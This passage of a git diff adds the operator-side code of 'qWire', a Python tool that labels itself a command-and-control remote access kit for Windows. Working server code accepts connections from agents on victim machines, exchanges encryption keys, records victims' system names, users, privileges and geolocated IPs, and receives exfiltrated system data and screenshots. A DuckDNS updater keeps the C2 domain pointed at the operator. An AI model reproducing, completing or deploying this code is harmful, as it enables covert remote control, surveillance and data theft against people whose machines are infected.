+ request_data = { + "domains": [domain], #Domain + "token": token, #Token + "ip": public_ip, #Public ip string + } + web_reponse = requests.get("https://www.duckdns.org/update", request_data) #Send post request with the data + if web_reponse.text != 'OK': #If the web response is invalid + ConsoleWindow().log_to_console(f'Failed to update domain: {domain}!') #Log that domain could not be updated + ErrorHandling().raise_error('Failed to update domain.', 'Check your token or domain name.','DNS Update Failed') #Notify user + return #Return to other function + ConsoleWindow().log_to_console(f'Updated {domain} to {public_ip}') #Log event to console window + Notifications().raise_notification('Domains have been updated', 'Success') #Notify user when process is finished \ No newline at end of file diff --git a/core/networking/receiver_socket.py b/core/networking/receiver_socket.py new file mode 100644 index 0000000..998f478 --- /dev/null +++ b/core/networking/receiver_socket.py @@ -0,0 +1,81 @@ +# M""MMM""MMM""M oo +# M MMM MMM M +# .d8888b. M MMP MMP M dP 88d888b. .d8888b. +# 88' `88 M MM' MM' .M 88 88' `88 88ooood8 +# 88. .88 M `' . '' .MM 88 88 88. ... +# `8888P88 M .d .dMMM dP dP `88888P' +# 88 MMMMMMMMMMMMMM Command and Control +# dP +# ------------------------------------------------------------- +# [A Remote Access Kit for Windows] +# Author: SlizBinksman +# Github: https://github.com/slizbinksman +# Build: 1.0.0 +# ------------------------------------------------------------- +import socket + +from ..logging.logging import ConsoleWindow +from ..encryption.aes128 import Decryption +from ..networking.IP_Handler import IPAddress +from ..utils.file_paths import DSFilePath +from ..logging.logging import NetworkingConfigs + + +BUFFER = 4096 + + +class ReceiverSocket: + + def __init__(self): + self.host = IPAddress().get_local_ip_from_interface() #init local ip address + self.port_number = NetworkingConfigs().retrieve_exfil_port() #init exfil port number + + #Function will create a receiver socket for exfiltrating date from the agent + def create_receiver_socket(self): + self.recvr_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #Create socket object + self.recvr_socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) #Allow socket to bind to port with out error + self.recvr_socket.bind((self.host,int(self.port_number))) #Bind the socket to the host ip and port + self.recvr_socket.settimeout(10) #Set socket timeout to infinite + self.listen_for_message() + + #Function will listen for a single connection + def listen_for_message(self): + self.recvr_socket.listen(1) #Listen for a single connection + + #Function will accept the connection, get the encrypted data, close all the sockets, decrypt the data and return the plaintext data + def get_data_from_client(self,encryption_key): + try: + global client_socket #Make client socket object global + client_socket, client_addr = self.recvr_socket.accept() #Accept the connection + data_from_client = self.recv_all_data_from_client() #Receive all the encrypted data from the client + client_socket.close() #Close the client socket + self.recvr_socket.close() #Close the receiver socket + plaintext_data = Decryption().decrypt_data(encryption_key,data_from_client) #Receive & decrypt data from client + return plaintext_data #Return plain text + except socket.timeout: #If socket timesout + self.recvr_socket.close() #Close the socket + return '' #Return empty string + + #Function will receive all data from the client + def recv_all_data_from_client(self): + bytes_data = b'' # Create empty byte string + while True: # Create infinite loop + partial_data = client_socket.recv(BUFFER) # Receive encrypted data from server + bytes_data += partial_data # Add each itteration to empty byte string + if not partial_data: # If the data is an empty string, all data has been sent + break # Data transmission is complete. Break the loop + return bytes_data # Return byte data string sent from server + + #Function will receive ping reply and log it to the gui console + def recv_ping_reply(self,encryption_key): + self.create_receiver_socket() #Create socket & listen for connection + ping_reply = self.get_data_from_client(encryption_key) #Accept the connection, process reply, close connection + ConsoleWindow().log_to_console(ping_reply) #Log the reply to the console window + + #Function will receive sys/ip command out put from client and write to a file + def recv_sys_ip_info(self,encryption_key): + self.create_receiver_socket() #Create receiver socket + info_exfil = self.get_data_from_client(encryption_key) #Get the data from the client and decrypt it + with open(DSFilePath().sys_info_file,'w') as client_info_file: #Open the sysinfo.txt data storage file + client_info_file.write(info_exfil) #Write the info rcvd from the client to the file + client_info_file.close() #Close file \ No newline at end of file diff --git a/core/networking/socket.py b/core/networking/socket.py new file mode 100644 index 0000000..7c48a81 --- /dev/null +++ b/core/networking/socket.py @@ -0,0 +1,187 @@ +# M""MMM""MMM""M oo +# M MMM MMM M +# .d8888b. M MMP MMP M dP 88d888b. .d8888b. +# 88' `88 M MM' MM' .M 88 88' `88 88ooood8 +# 88. .88 M `' . '' .MM 88 88 88. ... +# `8888P88 M .d .dMMM dP dP `88888P' +# 88 MMMMMMMMMMMMMM Command and Control +# dP +# ------------------------------------------------------------- +# [A Remote Access Kit for Windows] +# Author: SlizBinksman +# Github: https://github.com/slizbinksman +# Build: 1.0.0 +# ------------------------------------------------------------- +import socket +import base64 + +from ..utils.utils import ErrorHandling +from ..networking.IP_Handler import IPAddress +from ..threading.threads import MultiThreading +from ..logging.logging import ConsoleWindow,ClientWindow,NetworkingConfigs +from ..encryption.aes128 import Encryption,Decryption +from ..utils.utils import Notifications + +server_socket_obj_array = [] #User created listeners/sockets are stored here +client_socket_obj_array = [] #Client socket object is stored here. This is used to interact with client +client_information_array = [] #Client infomation is stored here like port, ip, computer name etc +active_sockets_array = [] #Bug fix. make sure socket is not already bound when opening gui from main window. Port number bound to socket is appended here +job = False #Set var bool job to false for connection handling + +BUFFER = 4096 + +#global job_array + +class Utilitys: + #Function retrieves client socket from array by index int passed as parameter + def retrieve_socket_from_array(self,socket_array_index): + return client_socket_obj_array[socket_array_index] #Return the client socket object from the array by the index parameter + + #Function removes client socket from array by int index passed as parameter + def remove_socket_from_array(self,socket_array_index): + socket = self.retrieve_socket_from_array(socket_array_index) #Retrieve the socket from the array by the index param + client_socket_obj_array.remove(socket) #Remove the socket from the array + + #Function will return the client_information_array + def retrieve_client_info_array(self): + return client_information_array #Return the client information array + +class ServerSocket: + + #Function creates a new unbound socket object and then binds the host and port address + def create_new_socket(self, port_number): + #if the port number is in the active socket array, its already been created and does not need to be bound again + if port_number in active_sockets_array: #If the port number is in the active sockets array + pass #pass the rest of the code. else, + else: + try: + self.new_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #Create a new socket + self.new_socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) #Make the socket address reusable + self.bind_socket_to_port(port_number) #Bind socket to port + except socket.error as error: #If there's an error, + #Raise a notifaction with the error string + ErrorHandling().raise_error(str(error), + '', + 'Error') + + #Function will get local ip address of chosen interface, bind the socket to it and append it to an array for later usage + def bind_socket_to_port(self, port_number): + current_local_IP = IPAddress().get_local_ip_from_interface() # Get Local IP from tun0 interface + self.new_socket.bind((current_local_IP,port_number)) # Bind socket to interface and port + server_socket_obj_array.append([self.new_socket]) #Append bound socket to array for later use + active_sockets_array.append(port_number) #Append port number identifying socket so it wont be created multiple times + ConsoleWindow().log_to_console(f'Bound socket to {current_local_IP}:{port_number}') + + #Function will remove socket from socket array + def remove_socket_from_array(self, socket_port_number): + server_socket_obj_array.remove(self.get_socket_from_array(socket_port_number)) + ConsoleWindow().log_to_console(f'Destroyed socket bound to port {socket_port_number}') + + #Function will return string list value of single socket by port number + def get_socket_from_array(self, socket_port_number): + for socket in server_socket_obj_array: #Socket is a single socket in the array + split_socket = str(socket).split(',') #Split single socket into list + port_number = split_socket[5].strip(')>]').strip(' ') #Get port number from laddr and remove last bit of text --> )>] and space character + if socket_port_number == port_number: #if socket port parameter is == port_number + return socket #Return Socket Object + + #Function takes server socket object as argument, starts listening on socket + def listen_for_connections(self, server_socket_object): + server_socket_object.listen(10) #Listen on the socket + self.handle_initial_connection(server_socket_object) #Handle the connection when the client connects + + #Function retrieves socket object from array, Passes it into child process to start listening for connections + def start_listening_on_socket(self, socket_port_number): + socket = self.get_socket_from_array(socket_port_number) #Get server socket object from array and store it in socket variable + MultiThreading().create_background_thread_arg(self.listen_for_connections, socket[0]) #Start new process to listen on socket + ConsoleWindow().log_to_console(f'Started listening on socket bound to port {socket_port_number}') #log message to console + + #Function creates the client socket obj, sets the timeout to none, passes off the beginning of the handshake to another thread and returns itself to continue accepting connections + def handle_initial_connection(self,server_socket_object): + global client_socket_obj, conn_info, job #Set globals for accessability + client_socket_obj, conn_info = server_socket_object.accept() #Accept the connection + client_socket_obj.setblocking(True) #Set timeout to none + client_socket_obj_array.append(client_socket_obj) #Append client socket object to array + job = True #Set job bool to true + MultiThreading().create_background_thread_arg_arg(self.begin_negotiation,conn_info,client_socket_obj) #Create background thread to handle encryption negotiation with client + while job: #while the handler is processing a connection, do nothing + if job == False: #If job is false, + break #Break the loop + return self.handle_initial_connection(server_socket_object) #Return to accepting connections + + #Function will get client system name, check for/create directory for client, begin the comms encryption process and send the key to the client + def begin_negotiation(self,conn_info,client): + sys_name = client.recv(1024) #Get client system name + client_system_name = sys_name.decode() #Decode name + NetworkingConfigs().write_data_length(len(sys_name)) #Record encoded sys name length in bytes + client_information = [] #Create array to store system name, public ip and port + client_information.append(client_system_name) #append system name + client_information.append(conn_info[0]) #append public IP + client_information.append(conn_info[1]) #append client port + encryption_key = Encryption().create_encryption_key() #Create an encryption key + b64_encoded_key = base64.b64encode(encryption_key) #Encode the key in base64 + client.send(b64_encoded_key) #Send the key + NetworkingConfigs().write_data_length(len(b64_encoded_key)) #Record len of data sent in bytes + return self.finish_negotiation(encryption_key,client_information,client) #pass client information array into next function + + def finish_negotiation(self,master_key,client_information,client): + client_information.append(master_key.decode()) #Append master key to array + extracted_info = Decryption().decrypt_data(master_key,client.recv(BUFFER)) #get extracted info, decrypt with key + for information in extracted_info.split(','): #for each piece of info in the extracted info + client_information.append(information.strip('[]')) #strip array brackets from string + self.organize_information(master_key,client_information,client) #organize client information for further processing + + #Function organizes array for later updates & ease of coding, appends client info list to master info array + def organize_information(self,master_key,info_array,client): + location = IPAddress().get_ip_geolocation(info_array[1]) #Get location array from public ip address + try: #To catch error + location = f'{location["country"]}/{location["city"]}' #Parse array for country city values and cat to string country/city + except TypeError: #If location can't be retrieved + location = f'N/A' #Location is not applicable + new_array = [] #create new array + new_array.append(f'{info_array[1]}:{info_array[2]}') #Append public IP and port as xxx.xxx.xxx.xxx:xxx new_array[0] + new_array.append(f'{info_array[4]}') #Append local ip as new_array[1] + new_array.append(location) #Append ip geolocation as new_array[2] + new_array.append(f'{info_array[0]}') #Append system name as new_array[3] + new_array.append(f'{info_array[5]}') #Append OS as new_array[4] + new_array.append(f'{info_array[8]}') #Append Windows version as new_array[5] + new_array.append(f'{info_array[6]}') #Append user as new_array[6] + new_array.append(f'{info_array[7]}') #Append privilege as new_array[7] + new_array.append(f'{info_array[3]}') #Append master communication key as new_array[8] + client_information_array.append(new_array) #Append array as single item to master info array + ClientWindow().record_active_connection(new_array) #Record information for active connection window on main ui + Notifications().notify_new_connection(new_array[3],new_array[2],new_array[0]) #Notify user of new connection + + return self.complete_handshake(master_key,new_array[3],client) #return complete handshake function + + #Function completes handshake by launching heartbeat to see if client is alive + def complete_handshake(self,decryption_key,system_name,client): + self.launch_heartbeat(decryption_key,system_name,client) #start heart beat + + #Function returns boolean value based on if it receives the echo from the client + def receive_client_echo(self,decryption_key,client): + echo = Decryption().decrypt_data(decryption_key,client.recv(BUFFER)) == 'echo' + if echo: #If echo is received + return True #Client is alive + else: #If echo is not received + return False #Client is dead + + #Function creates infinite loop to detect if heartbeat has been received or not + def launch_heartbeat(self,decryption_key,system_name,client): + global job #Make job var accessible + ConsoleWindow().log_to_console(f'{system_name} has connected') #Log connection to console window + job = False #Set job to false so server can handle next connection + while True: #Start infinite loop + if not self.receive_client_echo(decryption_key,client): #If the server does not receive the echo from the client + ConsoleWindow().log_to_console(f'{system_name} has disconnected') #Log the disconnection to the console window + try: + client_socket_obj_array.remove(client) #Remove the socket from the array + break + except ValueError: + break + ClientWindow().remove_active_connection(client_information_array,decryption_key.decode()) #Remove the connection from the active connections file + + #Function will encrypt data and send it to the client + def send_data_to_client(self,client,encryption_key,data): + encrypted_data = Encryption().encrypt_data(encryption_key,data) #encrypt the data parameter + client.sendall(encrypted_data) #send the encrypted data \ No newline at end of file diff --git a/core/networking/stream_socket.py b/core/networking/stream_socket.py new file mode 100644 index 0000000..27f1263 --- /dev/null +++ b/core/networking/stream_socket.py @@ -0,0 +1,52 @@ +# M""MMM""MMM""M oo +# M MMM MMM M +# .d8888b. M MMP MMP M dP 88d888b. .d8888b. +# 88' `88 M MM' MM' .M 88 88' `88 88ooood8 +# 88. .88 M `' . '' .MM 88 88 88. ... +# `8888P88 M .d .dMMM dP dP `88888P' +# 88 MMMMMMMMMMMMMM Command and Control +# dP +# ------------------------------------------------------------- +# [A Remote Access Kit for Windows] +# Author: SlizBinksman +# Github: https://github.com/slizbinksman +# Build: 1.0.0 +# ------------------------------------------------------------- +import socket +import struct +from ..networking.IP_Handler import IPAddress +from ..utils.file_paths import DSFilePath +from ..logging.logging import NetworkingConfigs + +BUFFER = 4096 + +class StreamingSocket: + + def __init__(self): + self.local_ip = IPAddress().get_local_ip_from_interface() #init local ip address + self.port_number = NetworkingConfigs().retrieve_stream_port() #init stream port number + + #Function will create a socket, accept the connection and return the client socket object + def create_socket(self): + self.stream_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #create socket + self.stream_socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) #make reusable + self.stream_socket.bind((self.local_ip,int(self.port_number))) #bind socket to local ip and port + self.stream_socket.listen(1) #listen for connection + conn, addr = self.stream_socket.accept() #accept the connection + return conn #return the client socket object + + #Function will receive screenshot from client, write the photo to DS directory + def receive_screenshot(self): + client_socket_obj = self.create_socket() #Create socket and get client socket object + struct_length = client_socket_obj.recv(8) #Receive length of struct + (length,) = struct.unpack(">Q",struct_length) #Unpack the struct + picture = b'' #Empty byte string + while len(picture) < length: #while len picture is less than the len of the picture sent by client + data_received = length - len(picture) #Data received is length of photo - whats been added to byte str + if data_received > BUFFER: #if data received is greater than the buffer + picture += client_socket_obj.recv(BUFFER) #Photo is == Buffer size + else: + picture += client_socket_obj.recv(data_received) #Add the rest of the data to the picture + with open(DSFilePath().streaming_frame,'wb') as image_file: #open image file in data storage + image_file.write(picture) #Write the file + self.stream_socket.close() #Close the socket \ No newline at end of file diff --git a/core/threading/threads.py b/core/threading/threads.py new file mode 100644 index 0000000..51e1933 --- /dev/null +++ b/core/threading/threads.py @@ -0,0 +1,36 @@ +# M""MMM""MMM""M oo +# M MMM MMM M +# .d8888b. M MMP MMP M dP 88d888b. .d8888b. +# 88' `88 M MM' MM' .M 88 88' `88 88ooood8 +# 88. .88 M `' . '' .MM 88 88 88. ... +# `8888P88 M .d .dMMM dP dP `88888P' +# 88 MMMMMMMMMMMMMM Command and Control +# dP +# ------------------------------------------------------------- +# [A Remote Access Kit for Windows] +# Author: SlizBinksman +# Github: https://github.com/slizbinksman +# Build: 1.0.0 +# ------------------------------------------------------------- +import threading + +class MultiThreading(): + #Function will create a thread for functions with no arguments + def create_background_thread(self,function): + thread = threading.Thread(target=function) + thread.daemon = True + thread.start() + + #Function will create a thread for functions that take a single argument + def create_background_thread_arg(self,function,argument): + arguments = [argument] + thread = threading.Thread(target=function,args=arguments) + thread.daemon = True + thread.start() + + #Function will create a thread for functions with two arguments + def create_background_thread_arg_arg(self,function,arg1,arg2): + arguments = [arg1,arg2] + thread = threading.Thread(target=function,args=arguments) + thread.daemon = True + thread.start() \ No newline at end of file diff --git a/core/utils/file_paths.py b/core/utils/file_paths.py new file mode 100644 index 0000000..062e46f --- /dev/null +++ b/core/utils/file_paths.py @@ -0,0 +1,57 @@ +# M""MMM""MMM""M oo +# M MMM MMM M +# .d8888b. M MMP MMP M dP 88d888b. .d8888b. +# 88' `88 M MM' MM' .M 88 88' `88 88ooood8 +# 88. .88 M `' . '' .MM 88 88 88. ... +# `8888P88 M .d .dMMM dP dP `88888P' +# 88 MMMMMMMMMMMMMM Command and Control +# dP +# ------------------------------------------------------------- +# [A Remote Access Kit for Windows] +# Author: SlizBinksman +# Github: https://github.com/slizbinksman +# Build: 1.0.0 +# ------------------------------------------------------------- +import os +#Needed local logging utilitys function due to circular import error with logging.py +class LoggingUtilitys: + + def get_misc_file_path_str(self, file_path_from_working_dir): + current_dir = os.path.join(os.getcwd()) + target_file_path = str(f'{current_dir}/{file_path_from_working_dir}') + return target_file_path + +#Data storage file paths +class DSFilePath: + def __init__(self): + self.sys_info_file = LoggingUtilitys().get_misc_file_path_str('data_storage/sysinfo_window/sysinfo.txt') + self.streaming_frame = LoggingUtilitys().get_misc_file_path_str('data_storage/frame.jpg') + self.console_output_file = LoggingUtilitys().get_misc_file_path_str('data_storage/console_window/console_output.txt') + self.active_connections_file = LoggingUtilitys().get_misc_file_path_str('data_storage/console_window/active_connections.txt') + self.bits_file = LoggingUtilitys().get_misc_file_path_str('data_storage/console_window/bits.txt') + self.listening_sockets_file = LoggingUtilitys().get_misc_file_path_str('data_storage/console_window/listening.txt') + +#Config file paths +class CFGFilePath: + def __init__(self): + self.server_sockets = LoggingUtilitys().get_misc_file_path_str('configs/networking/ports.txt') + self.dns_token = LoggingUtilitys().get_misc_file_path_str('configs/tokens/duck_dns_token.txt') + self.domains_file = LoggingUtilitys().get_misc_file_path_str('configs/networking/domains.txt') + self.chosen_domain = LoggingUtilitys().get_misc_file_path_str('configs/shells/domain.txt') + self.current_interface = LoggingUtilitys().get_misc_file_path_str('configs/networking/interface.txt') + self.exfil_port_file = LoggingUtilitys().get_misc_file_path_str('configs/networking/exfil_port.txt') + self.shells_lport_file = LoggingUtilitys().get_misc_file_path_str('configs/shells/lport.txt') + self.stream_port_file = LoggingUtilitys().get_misc_file_path_str('configs/networking/stream_port.txt') + +#Background filepaths +class BGPath: + def __init__(self): + self.qWire_info_bg = LoggingUtilitys().get_misc_file_path_str('core/Qt5/img/qWire_info.png') + self.main_window_bg = LoggingUtilitys().get_misc_file_path_str('core/Qt5/img/main_tab_background.jpg') + self.cheap_loic_lol = LoggingUtilitys().get_misc_file_path_str('core/Qt5/img/Listener.jpeg') + self.settings_window_bg = LoggingUtilitys().get_misc_file_path_str('core/Qt5/img/settings_background.jpg') + +#Builder related file/dir paths +class BuilderPath: + def __init__(self): + self.raw_script_dir = LoggingUtilitys().get_misc_file_path_str('agent/raw') diff --git a/core/utils/notify.wav b/core/utils/notify.wav new file mode 100644 index 0000000..6fa58d9 Binary files /dev/null and b/core/utils/notify.wav differ diff --git a/core/utils/utils.py b/core/utils/utils.py new file mode 100644 index 0000000..07d4775 --- /dev/null +++ b/core/utils/utils.py @@ -0,0 +1,82 @@ +# M""MMM""MMM""M oo +# M MMM MMM M +# .d8888b. M MMP MMP M dP 88d888b. .d8888b. +# 88' `88 M MM' MM' .M 88 88' `88 88ooood8 +# 88. .88 M `' . '' .MM 88 88 88. ... +# `8888P88 M .d .dMMM dP dP `88888P' +# 88 MMMMMMMMMMMMMM Command and Control +# dP +# ------------------------------------------------------------- +# [A Remote Access Kit for Windows] +# Author: SlizBinksman +# Github: https://github.com/slizbinksman +# Build: 1.0.0 +# ------------------------------------------------------------- +from PyQt5 import QtWidgets +from PyQt5 import QtGui +from playsound import playsound + +import notify2 +import os + +class ErrorHandling(): + #Function will raise an error. Needs an icon + def raise_error(self,error_text,error_more_information,window_title): + msg = QtWidgets.QMessageBox() + icon = QtGui.QIcon(f'{os.getcwd()}/core/Qt5/img/disconnect_icon.png') #Manually retrieve icon since importing causes circular import + msg.setWindowIcon(icon) #Set window icon to red x used from disconnect icon + msg.setIcon(QtWidgets.QMessageBox.Critical) #Set message icon + msg.setText(error_text) #Set error text + msg.setInformativeText(error_more_information) #Add more information to box + msg.setWindowTitle(window_title) #Set window title + msg.exec_() #Show message + +class Notifications(): + + #Function will notify user of new connection + def notify_new_connection(self,system_name,Location,IP_address): + notify2.init('New Connection') #Init notification object + notification = notify2.Notification("New Connection",f"{system_name}\n{Location}\n{IP_address}",icon=f"{os.getcwd()}/core/Qt5/img/computer_icon.png") #Set details + notification.show() #Show notification + notification.set_timeout(3000) #Set timeout + playsound(f'{os.getcwd()}/core/utils/notify.wav') #Play notification sound + notify2.uninit() #Uninit the object + + #Function will raise a notification + def raise_notification(self,notify_text,window_title): + icon_path = os.path.join(f'{os.getcwd()}/core/Qt5/img/check_mark.png') + icon = QtGui.QIcon(icon_path) + notification = QtWidgets.QMessageBox() + notification.setWindowIcon(icon) + notification.setIcon(QtWidgets.QMessageBox.Information) + notification.setText(notify_text) + notification.setWindowTitle(window_title) + notification.exec_() + +class Validation(): + + #Function will validate port number. Valid port will return true, invalid will return false + def Validate_port_number(self,port_number): + try: + port_number = int(port_number) #Check if port is an integer + if port_number < 1 or int(port_number) > 65535: #If ports less than 1 or greater than 65535 + ErrorHandling().raise_error('Invalid Port Number.', #Raise error + 'Port must be in range 1 - 65535.', + 'Bad Port Number') + return False #Return false + return True #Else if port is valid, return true + except ValueError: #If port is not integer + ErrorHandling().raise_error('Port must be integer.', #Raise error + '', + 'Invalid Data Type') + return False #Return false + + #Function will validate file extention parameter + def validate_extention(self,file_name,file_extention): + try: + split_file = str(file_name).split('.') #If file name can be indexed by the . + if split_file[1] == file_extention: #If the 2nd index is == file extention parameter + return True #return true + return False #else return false + except IndexError: #If their is no . + return False #Return false \ No newline at end of file diff --git a/data_storage/.keep b/data_storage/.keep new file mode 100644 index 0000000..e69de29 diff --git a/data_storage/console_window/.keep b/data_storage/console_window/.keep new file mode 100644 index 0000000..e69de29 diff --git a/data_storage/sysinfo_window/.keep b/data_storage/sysinfo_window/.keep new file mode 100644 index 0000000..e69de29 diff --git a/launch.py b/launch.py new file mode 100755 index 0000000..b7c4199 --- /dev/null +++ b/launch.py @@ -0,0 +1,53 @@ +#!/usr/bin/python3 +# M""MMM""MMM""M oo +# M MMM MMM M +# .d8888b. M MMP MMP M dP 88d888b. .d8888b. +# 88' `88 M MM' MM' .M 88 88' `88 88ooood8 +# 88. .88 M `' . '' .MM 88 88 88. ... +# `8888P88 M .d .dMMM dP dP `88888P' +# 88 MMMMMMMMMMMMMM Command and Control +# dP +# ------------------------------------------------------------- +# [A Remote Access Kit for Windows] +# Author: SlizBinksman +# Github: https://github.com/slizbinksman +# Build: 1.0.0 +# ------------------------------------------------------------- +from core.Qt5.ghost_wire_gui import Ui_main_window +from core.utils.file_paths import DSFilePath +from PyQt5 import QtWidgets +import os +import sys +import signal + +class StartUp: + + #Function will clear active connections text file to remove leftover connections + def clear_active_conns_file(self): + file_array = [DSFilePath().active_connections_file, + DSFilePath().bits_file, + DSFilePath().listening_sockets_file] + for file in file_array: + with open(file,'w') as file: + file.close() + +class ShutDown: + #Function will find the pid of the program and kill it completely. Leaves no child process's behind + def kill_pid(self): + pid = os.getpid() #Get the pid of the parent process + #print(str(pid)) + os.kill(pid,signal.SIGTERM) #Kill the process and all subprocess's + + +def launch_program(): + StartUp().clear_active_conns_file() #Clear active conns file of old connections so the ui doesnt add false connections + app = QtWidgets.QApplication(sys.argv) + main_window = QtWidgets.QMainWindow() + ui = Ui_main_window() + ui.setupUi(main_window) + main_window.show() + app.exec_() + ShutDown().kill_pid() #Kill the pid of the program else it will hang after the windows closed and has to be killed manually + +if __name__ == '__main__': + launch_program() diff --git a/setup.py b/setup.py new file mode 100644 index 0000000..2a1480b --- /dev/null +++ b/setup.py @@ -0,0 +1,118 @@ +# M""MMM""MMM""M oo +# M MMM MMM M +# .d8888b. M MMP MMP M dP 88d888b. .d8888b. +# 88' `88 M MM' MM' .M 88 88' `88 88ooood8 +# 88. .88 M `' . '' .MM 88 88 88. ... +# `8888P88 M .d .dMMM dP dP `88888P' +# 88 MMMMMMMMMMMMMM Command and Control +# dP +# ------------------------------------------------------------- +# [A Remote Access Kit for Windows] +# Author: SlizBinksman +# Github: https://github.com/slizbinksman +# Build: 1.0.0 +# ------------------------------------------------------------- +from subprocess import run +from core.utils.file_paths import CFGFilePath +from core.utils.file_paths import DSFilePath + +import argparse + +#Define graphic string +graphic_string = """ + ._________________. + |.---------------.| + || qWire Setup || + || -._ .-. || + || -._| | | || + || -._|"|"| || + || -._|.-.| || + ||_______________|| + /.-.-.-.-.-.-.-.-.\\ + /.-.-.-.-.-.-.-.-.-.\\ + /.-.-.-.-.-.-.-.-.-.-.\\ +/______/__________\_____\\ +\_______________________/\n""" + +#Define desciption string +description_string = """------------------------------------------------------------------------ +qWire setup script. Use 'python3 setup.py -h' for options else, +run 'python3 setup.py' to run everything automatically. +The setup script is currently configured for the aptitude package manager. +------------------------------------------------------------------------ +[+] Author: Slizbinksman +[+] Github: https://github.com/slizbinksman +------------------------------------------------------------------------""" + +#Define package manager array +package_array = ['python3-pip', + 'gnome-terminal'] + + +#Define array of librarys +library_array = ['cryptography', + 'notify2', + 'playsound', + 'pyqt5', + 'pillow', + 'requests', + 'netifaces'] + +#Define cfg files array +conifguration_files = [CFGFilePath().domains_file, + CFGFilePath().stream_port_file, + CFGFilePath().exfil_port_file, + CFGFilePath().server_sockets, + CFGFilePath().dns_token, + CFGFilePath().current_interface, + CFGFilePath().chosen_domain, + CFGFilePath().shells_lport_file] + +#Define data storage files array +data_storage_files = [DSFilePath().active_connections_file, + DSFilePath().bits_file, + DSFilePath().listening_sockets_file, + DSFilePath().console_output_file] + + +#Function will make a blank copy of required text files +def setup_files(file_array): + for file in file_array: + with open(file, 'w') as new_file: + new_file.close() + print(f'[+] Created new file: {file}') + +#Function will insatll a library with various commands passed as a parameter +def install_library(command,array): + for lib in array: + run(f'{command} {lib}',shell=True) + +#Main +if __name__ == '__main__': + #Create arguments for script + parser = argparse.ArgumentParser(description=f'{graphic_string}{description_string}',formatter_class=argparse.RawTextHelpFormatter) + installer = parser.add_argument_group('Installer Actions') + installer.add_argument('--files',action='store_true',help='Create setup files') + installer.add_argument('--pip',action='store_true',help='Install python library\'s') + installer.add_argument('--packages',action='store_true',help='Install linux based packages via apt') + args = parser.parse_args() + #If files arg is true,create/overwrite current cfg files + if args.files: + setup_files(conifguration_files) + setup_files(data_storage_files) + exit() + #If pip arg is true, install librarys from array + if args.pip: + install_library('pip install',library_array) + exit() + #If packages arg is true, install packages from array + if args.packages: + install_library('sudo apt install -y',package_array) + exit() + #If nothing is selected at the cli + else: + #Install all librarys and create required files + install_library('sudo apt install -y',package_array) + install_library('pip install', library_array) + setup_files(conifguration_files) + setup_files(data_storage_files) \ No newline at end of file